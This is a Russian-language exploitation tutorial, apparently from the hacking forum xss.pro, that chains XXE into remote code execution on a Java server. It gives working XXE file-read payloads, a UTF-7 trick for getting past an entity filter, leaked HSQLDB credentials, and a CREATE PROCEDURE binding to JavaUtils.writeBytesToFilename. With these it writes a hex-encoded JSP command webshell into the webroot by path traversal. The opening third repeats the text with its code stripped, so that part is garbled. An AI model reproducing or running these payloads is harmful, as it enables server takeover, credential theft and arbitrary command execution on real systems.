Инъекция внешних сущностей XML (XXE) – это не просто теоретическая уязвимость. Это реальный вектор атаки, позволяющий злоумышленникам, при неправильной настройке XML-парсеров, перейти от простой утечки файлов к удаленному выполнению кода (RCE). В современных корпоративных Java-приложениях уязвимость XXE в сочетании с функционалом встроенных баз данных, таких как HSQLDB, может предоставить атакующему возможность чтения файлов, извлечения учетных данных БД и, в конечном итоге, вызова произвольных Java-методов для записи файлов и выполнения кода на сервере.
В данной статье мы рассмотрим полный технический сценарий атаки: от подтверждения XXE с помощью тестового запроса до чтения системных файлов, получения учетных данных БД из конфигурационных скриптов, подключения к HSQLDB, использования SQL и Java для достижения удаленного выполнения кода. Также мы обсудим важность методов кодирования (обфускации) для обхода примитивной фильтрации по слову
Каждый шаг подробно продемонстрирован с использованием конкретных примеров кода и последовательностей команд, чтобы показать процесс на практике.
P.S. Эта статья написана как продолжение к ХХЕ и дополнение к интересным методикам связнные с SQL
Ожидаемый ответ сервера:
Если в ответе поле
Например, если вы увидите:
Теперь вы знаете, что сервер применяет вашу декларацию
Если всё прошло успешно, ответ может содержать
Это доказывает, что сервер может читать произвольные файлы, к которым у него есть доступ.
Ответ:
Предположим, мы обнаружили
Ожидаемый ответ:
Теперь у нас есть:
- URL БД:
- Пользователь:
- Пароль:
Это открывает путь к прямому доступу к базе данных.
В целом, обход оказался удачным
Имея учетные данные, мы подключаемся к HSQLDB. Используем
После успешного входа проверяем:
Если мы видим список таблиц, значит успешно.
Изображение [1]
В HSQLDB пользовательские функции могут быть зарегистрированы с помощью SQL-операторов типа CREATE FUNCTION. При регистрации вы указываете имя Java-класса и имя статического метода, который будет использоваться в качестве реализации данной функции.
В данном примере myStaticMethod — это статический метод класса com.example.MyFunctions.
Принципиально важно, что HSQLDB не создаёт экземпляр класса для вызова функции. Вместо этого он напрямую вызывает статический метод с заданными параметрами.
CLASSPATH — это параметр запуска виртуальной машины Java (JVM), определяющий пути к директориям и JAR-файлам, в которых JVM будет искать классы во время выполнения программы. Когда вы запускаете приложение или работу с СУБД на Java (например, HSQLDB), JVM должна знать, где найти необходимые классы для выполнения заданного кода. Когда СУБД пытается вызвать некий класс (например, класс, содержащий статический метод для HSQLDB), JVM должна понять, где этот класс расположен. Если класс не находится в стандартной библиотеке, то JVM ищет его в путях, перечисленных в CLASSPATH.
В старых версиях Java (до Java 9) практически все основные классы стандартной библиотеки (Java Standard Edition, SE) хранились в специальном JAR-файле под названием rt.jar (runtime). Это сокращение от "runtime", то есть исполнения. Примерно начиная с JDK 1.2 и до JDK 8 включительно, rt.jar был центральным файлом, в котором находились все базовые классы, такие как классы из пакетов java.lang, java.util, java.io, а также многие другие. Проще говоря, это "ядро" стандартной библиотеки Java. HSQLDB, будучи обычной Java-библиотекой, просто использует эти классы через стандартный механизм загрузки классов JVM.
Для начала посмотрим classpath. Создадим функцию для вызова
Пример ответа:
Мы видим
Чтобы достичь RCE, нам нужен статический метод, дающий возможность либо выполнить код, либо записать файл на сервер. Напрямую вызвать
Появляется вопрос, где найти этот статический метод?
Когда вы запускаете Java-приложение, JVM гарантирует, что стандартные Java-классы всегда загружаются и доступны, независимо от того, какие внешние JAR-файлы подключены.
Даже если ваше приложение указывает hsqldb.jar, JVM интегрирует её вместе с основными Java-классами. Эта интеграция позволяет Java-процессу использовать как внешние классы из hsqldb.jar, так и стандартные классы из основных библиотек. По этой причине, декомпилируем rt.jar и открываем в vscode.
Изображение [2]Нигде такое не утверждается, и возможно я не прав, но тут такая тема. Функций и так много, искать займёт достаточно много времени, из-за этого нужно сперва понять лимиты. А лимиты здесь, это типы данных которые дают и принимают HSQLDB и JAVA. Например, в Java есть byte, а в HSQLDB есть binary. Значит если какая та функция принимает байт, то можно создать функцию в HSQLDB которая примет binary. Если подумать логично, нам нужно передать файл и функция которая принимает файл, наверняка будет работать с стринг и/или байт. Возможно примет контент и имя файла как стринг, возможно примет один как стринг, другой как байт. Из-за этого я думаю логичней было бы поискать именно:
Изображение [3]Функций всего 5, 3 из них для работы с сетью, 1 нужен для управления бинарными данными, остаётся только writeBytesToFilename.
paramString -имя файла или полный путь к файлу. paramArrayOfbyte - Массив байтов, который содержит данные для записи в файл. С помощью FileOutputStream открывается поток для записи в файл. Метод write из FileOutputStream записывает массив байтов в файл. После успешной записи поток закрывается с помощью fileOutputStream.close().
Отсюда и появился этот знаменитый пэйлоад.
Функция используется для выполнения вычислений и возврата значения, например, для обработки данных. Всегда возвращает одно значение. Вызывается в SQL-выражении, например, в SELECT.
Метод writeBytesToFilename является void. , это означает что метод не возвращает значения. Значит нам нужно использовать PROCEDURE.
Свяжем метод
Теперь вызов:
Получим:
Мы подтвердили возможность произвольной записи файлов.
Записываем
Кодируем JSP в hex и вызываем:
Затем переходим в браузере:
В данной статье мы рассмотрим полный технический сценарий атаки: от подтверждения XXE с помощью тестового запроса до чтения системных файлов, получения учетных данных БД из конфигурационных скриптов, подключения к HSQLDB, использования SQL и Java для достижения удаленного выполнения кода. Также мы обсудим важность методов кодирования (обфускации) для обхода примитивной фильтрации по слову
<!ENTITY>.Каждый шаг подробно продемонстрирован с использованием конкретных примеров кода и последовательностей команд, чтобы показать процесс на практике.
P.S. Эта статья написана как продолжение к ХХЕ и дополнение к интересным методикам связнные с SQL
Подтверждение XXE
Первоначально мы отправляем к API тестовый XML-запрос с внешней сущностью, чтобы проверить, обрабатывается ли она парсером:
Код:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xss "ReplacedSuccess">
]>
<org.X.S.S.People>
<origin>&xss;</origin>
<userName>Str</userName>
</org.X.S.S.People>
Если в ответе поле
lastName будет заменено наReplacedSuccess, это подтвердит, что сущность&lastname; была разрешена на стороне сервера, а значит XXE возможна.Например, если вы увидите:
Код:
<org.X.S.S.People>
<origin>ReplacedSuccess</origin>
<userName>Str</userName>
</org.X.S.S.People>
Теперь вы знаете, что сервер применяет вашу декларацию
<!DOCTYPE> и обрабатывает внешние сущности.Переход к чтению файлов на сервере
Получив подтверждение XXE, мы меняем сущность на загрузку локального файла. Классический тест – чтение/etc/passwd :
Код:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xss SYSTEM "file://etc/passwd">
]>
<org.X.S.S.People>
<origin>&xss;</origin>
<userName>Str</userName>
</org.X.S.S.People>
/etc/passwd:
Код:
<org.X.S.S.People>
<origin>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
</origin>
<userName>Str</userName>
</org.X.S.S.People>
Это доказывает, что сервер может читать произвольные файлы, к которым у него есть доступ.
Поиск конфигурационных файлов
Обладая способностью читать файлы, мы можем прицельно искать конфигурации. Часто учетные данные к базе данных хранятся в сценариях или файлах настроек. Особенно если приложение написано в JAVA.
Код:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xss SYSTEM "file:///home">
]>
<org.X.S.S.People>
<origin>&xss;</origin>
<userName>Str</userName>
</org.X.S.S.People>
Код:
<org.X.S.S.People>
<origin>userXSS
adminXSS
...
</origin>
<userName>Str</userName>
</org.X.S.S.People>
/home/userXSS/xss/db/hsqldb/dbmanager.sh. Попробуем его прочесть:
Код:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xss SYSTEM "file:///home/userXSS/xss/db/hsqldb/dbmanager.sh">
]>
<org.X.S.S.People>
<origin>&xss;</origin>
<userName>Str</userName>
</org.X.S.S.People>
Код:
#!/bin/sh
# dbmanager.sh: содержит учетные данные БД
export DB_URL="jdbc:hsqldb:hsql://127.0.0.1:9001/XSS"
export DB_USER="sa"
export DB_PASS="XeXeXe"
- URL БД:
jdbc:hsqldb:hsql://127.0.0.1:9001/XSS- Пользователь:
sa- Пароль:
XeXeXeЭто открывает путь к прямому доступу к базе данных.
Проблемка
Значит проблема этой системы была в том что, разрабы сделали кастомную безопасность, которая не разрешает использовать<!ENTITY . Я вместо того чтобы сразу открыть хектрикс, начал использовать страннейшие идеи, под конец оказывается решение было простое...даже слишком.
Код:
<?xml version="1.0"?>
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+AAo-+ADw-+ACE-ELEMENT+ACA-foo+ACA-ANY+AD4-+AAo-+ADw-+ACE-ENTITY+ACA-xss+ACA-SYSTEM+ACA-+ACI-file:///home/userXSS/xss/db/hsqldb/dbmanager.sh+ACI-+AD4-+AAo-+AF0-+AD4-+AAo-+ADw-org.X.S.S.People+AD4-+AAo-+ACA-+ACA-+ADw-origin+AD4-+ACY-xss+ADs-+ADw-/origin+AD4-+AAo-+ACA-+ACA-+ADw-userName+AD4-Str+ADw-/userName+AD4-+AAo-+ADw-/org.X.S.S.People+AD4-
Подключение к HSQLDB
HSQLDB (HyperSQL DataBase) — это встраиваемая реляционная СУБД на языке Java с открытым исходным кодом.Имея учетные данные, мы подключаемся к HSQLDB. Используем
hsqldb.jar и утилитуSqlTool. Сам hsqldb.jar я взял с сервера. Также учтите что если вы подняли приложение в докер, то можете воспользоваться sqltool.jar чтобы потестить через CLI:
Код:
java -jar sqltool.jar inlineRc=url=jdbc:hsqldb:hsql://127.0.0.1:9001/XSS,user=sa
## password=XeXeXe
Код:
sql> SELECT * FROM INFORMATION_SCHEMA.TABLES;
Изображение [1]
Откуда появился пэйлоад?
HSQLDB позволяет создавать внешние процедуры и функции, вызывающие статические Java-методы. Это не теоретическая возможность – она задокументирована и широко известна. В отсутствие жестких ограничений безопасности можно вызвать практически любой статический метод в доступных классах. Я не програмист и естественно появляется вопрос, что такое статическая функция и откуда их можно найти.В HSQLDB пользовательские функции могут быть зарегистрированы с помощью SQL-операторов типа CREATE FUNCTION. При регистрации вы указываете имя Java-класса и имя статического метода, который будет использоваться в качестве реализации данной функции.
Код:
CREATE FUNCTION MY_FUNC(PARAM1 VARCHAR(50))
RETURNS INT
LANGUAGE JAVA
DETERMINISTIC
NO SQL
EXTERNAL NAME 'CLASSPATH:com.example.MyFunctions.myStaticMethod';
Принципиально важно, что HSQLDB не создаёт экземпляр класса для вызова функции. Вместо этого он напрямую вызывает статический метод с заданными параметрами.
CLASSPATH — это параметр запуска виртуальной машины Java (JVM), определяющий пути к директориям и JAR-файлам, в которых JVM будет искать классы во время выполнения программы. Когда вы запускаете приложение или работу с СУБД на Java (например, HSQLDB), JVM должна знать, где найти необходимые классы для выполнения заданного кода. Когда СУБД пытается вызвать некий класс (например, класс, содержащий статический метод для HSQLDB), JVM должна понять, где этот класс расположен. Если класс не находится в стандартной библиотеке, то JVM ищет его в путях, перечисленных в CLASSPATH.
В старых версиях Java (до Java 9) практически все основные классы стандартной библиотеки (Java Standard Edition, SE) хранились в специальном JAR-файле под названием rt.jar (runtime). Это сокращение от "runtime", то есть исполнения. Примерно начиная с JDK 1.2 и до JDK 8 включительно, rt.jar был центральным файлом, в котором находились все базовые классы, такие как классы из пакетов java.lang, java.util, java.io, а также многие другие. Проще говоря, это "ядро" стандартной библиотеки Java. HSQLDB, будучи обычной Java-библиотекой, просто использует эти классы через стандартный механизм загрузки классов JVM.
Для начала посмотрим classpath. Создадим функцию для вызова
System.getProperty():
Код:
CREATE FUNCTION xss1(key VARCHAR) RETURNS VARCHAR
LANGUAGE JAVA DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty';
SELECT xss1('java.class.path') FROM (VALUES(0));
Код:
+----------------------------+
| SYSTEMPROP |
+----------------------------+
| ./hsqldb.jar |
+----------------------------+
hsqldb.jar в classpath, а значит можем пользоваться классами из него и связанных библиотек.Чтобы достичь RCE, нам нужен статический метод, дающий возможность либо выполнить код, либо записать файл на сервер. Напрямую вызвать
Runtime.getRuntime().exec() сложно из-за ограничений типов параметров и возможных ограничений.Появляется вопрос, где найти этот статический метод?
Когда вы запускаете Java-приложение, JVM гарантирует, что стандартные Java-классы всегда загружаются и доступны, независимо от того, какие внешние JAR-файлы подключены.
Даже если ваше приложение указывает hsqldb.jar, JVM интегрирует её вместе с основными Java-классами. Эта интеграция позволяет Java-процессу использовать как внешние классы из hsqldb.jar, так и стандартные классы из основных библиотек. По этой причине, декомпилируем rt.jar и открываем в vscode.
Изображение [2]
public static \w+ \w+\(String.*byte\[\].*\)
Изображение [3]
Код:
public static void writeBytesToFilename(String paramString, byte[] paramArrayOfbyte) {
FileOutputStream fileOutputStream = null;
try {
if (paramString != null && paramArrayOfbyte != null) {
File file = new File(paramString);
fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(paramArrayOfbyte);
fileOutputStream.close();
} else if (log.isLoggable(Level.FINE)) {
log.log(Level.FINE, "writeBytesToFilename got null byte[] pointed");
}
} catch (IOException iOException) {
if (fileOutputStream != null)
try {
fileOutputStream.close();
} catch (IOException iOException1) {
if (log.isLoggable(Level.FINE))
log.log(Level.FINE, iOException1.getMessage(), iOException1);
}
}
}
Отсюда и появился этот знаменитый пэйлоад.
Создание процедуры в HSQLDB, вызывающей метод Java
Процедура используется для выполнения действий, таких как вставка, обновление или удаление данных. Не возвращает значения напрямую, но может возвращать параметры типа OUT. Вызывается с помощью команды CALL.Функция используется для выполнения вычислений и возврата значения, например, для обработки данных. Всегда возвращает одно значение. Вызывается в SQL-выражении, например, в SELECT.
Метод writeBytesToFilename является void. , это означает что метод не возвращает значения. Значит нам нужно использовать PROCEDURE.
Свяжем метод
writeBytesToFilename с процедурой SQL:
Код:
CREATE PROCEDURE check2(IN fname VARCHAR, IN fdata VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename';
Теперь вызов:
Код:
CALL check2('/tmp/hello.txt', CAST('48656c6c6f0a' AS VARBINARY(1024)));
48656c6c6f0a – это "Hello" в hex. Проверяем файл:
Код:
cat /tmp/hello.txt
Код:
Hello
Запись JSP-webshell для RCE
Чтобы получить RCE, нам нужно записать JSP-файл в веб-каталог приложения. Предположим, что веб-приложение развернуто в каталоге:
Код:
/opt/tomee/webapps/XSS/
shell.jsp туда. Пример простейшего JSP-шелла:
Код:
https://gist.githubusercontent.com/nikallass/5ceef8c8c02d58ca2c69a29a92d2f461/raw/8656cc80ace93c8095b0c7d0c45b917d542fed5c/cmd.jsp
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
Код:
call check2('../../../../../../../opt/tomee/apps/XSS/XSS.jsp', cast('3C2540207061676520696D706F72743D226A6176612E7574696C2E2A2C6A6176612E696F2E2A22253E0A3C250A253E0A3C48544D4C3E3C424F44593E0A436F6D6D616E64732077697468204A53500A3C464F524D204D4554484F443D2247455422204E414D453D226D79666F726D2220414354494F4E3D22223E0A3C494E50555420545950453D227465787422204E414D453D22636D64223E0A3C494E50555420545950453D227375626D6974222056414C55453D2253656E64223E0A3C2F464F524D3E0A3C7072653E0A3C250A69662028726571756573742E676574506172616D657465722822636D64222920213D206E756C6C29207B0A202020206F75742E7072696E746C6E2822436F6D6D616E643A2022202B20726571756573742E676574506172616D657465722822636D642229202B20223C42523E22293B0A0A2020202050726F6365737320703B0A20202020696620282053797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E696E6465784F66282277696E646F7773222920213D202D31297B0A202020202020202070203D2052756E74696D652E67657452756E74696D6528292E657865632822636D642E657865202F432022202B20726571756573742E676574506172616D657465722822636D642229293B0A202020207D0A20202020656C73657B0A202020202020202070203D2052756E74696D652E67657452756E74696D6528292E6578656328726571756573742E676574506172616D657465722822636D642229293B0A202020207D0A202020204F757470757453747265616D206F73203D20702E6765744F757470757453747265616D28293B0A20202020496E70757453747265616D20696E203D20702E676574496E70757453747265616D28293B0A2020202044617461496E70757453747265616D20646973203D206E65772044617461496E70757453747265616D28696E293B0A20202020537472696E672064697372203D206469732E726561644C696E6528293B0A202020207768696C652028206469737220213D206E756C6C2029207B0A202020206F75742E7072696E746C6E2864697372293B0A2020202064697372203D206469732E726561644C696E6528293B0A202020207D0A7D0A253E0A3C2F7072653E0A3C2F424F44593E3C2F48544D4C3E0A' as VARBINARY(2048)))
Код:
http://target/XSS/XSS.jsp?cmd=id
Заключение
Этот детальный технический разбор показывает, как уязвимость XXE может перерасти в полный компромисс сервера. Правильно выбранные полезные нагрузки позволяют не только прочитать секреты, но и получить учетные данные БД, подключиться к HSQLDB, использовать Java-интеграцию для вызова опасных методов и записать JSP-шелл. Таким образом, уязвимость XXE может привести к RCE.Автор grozdniyandy
Источник https://xss.pro/
Последнее редактирование: